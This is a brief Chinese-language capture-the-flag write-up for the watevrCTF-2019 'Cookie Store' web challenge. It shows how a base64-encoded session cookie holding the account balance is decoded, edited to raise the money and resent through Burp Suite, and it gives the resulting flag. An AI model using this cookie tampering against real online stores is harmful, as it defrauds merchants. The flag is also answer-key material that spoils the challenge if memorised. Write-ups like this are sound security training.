Web｜[watevrCTF-2019]Cookie Store
需要购买flag cookie即可得到flag，但是金额不足，使用burp suite抓包
Cookie: session=eyJtb25leSI6IDUwLCAiaGlzdG9yeSI6IFtdfQ==
看到cookie像是base64编码后的数据，解码查看
{"money": 50, "history": []}
所以金额藏在cookie中，更改金额大于100，编码后重新发包
在响应包中有session
eyJtb25leSI6IDUwLCAiaGlzdG9yeSI6IFsiZmxhZ3swYzU5MDNjZC0xMzgyLTQyYzEtYjUyNC05NTYwNDNmYjE2MzN9XG4iXX0=
base64解码
{"money": 50, "history": ["flag{0c5903cd-1382-42c1-b524-956043fb1633}\n"]}
flag{0c5903cd-1382-42c1-b524-956043fb1633}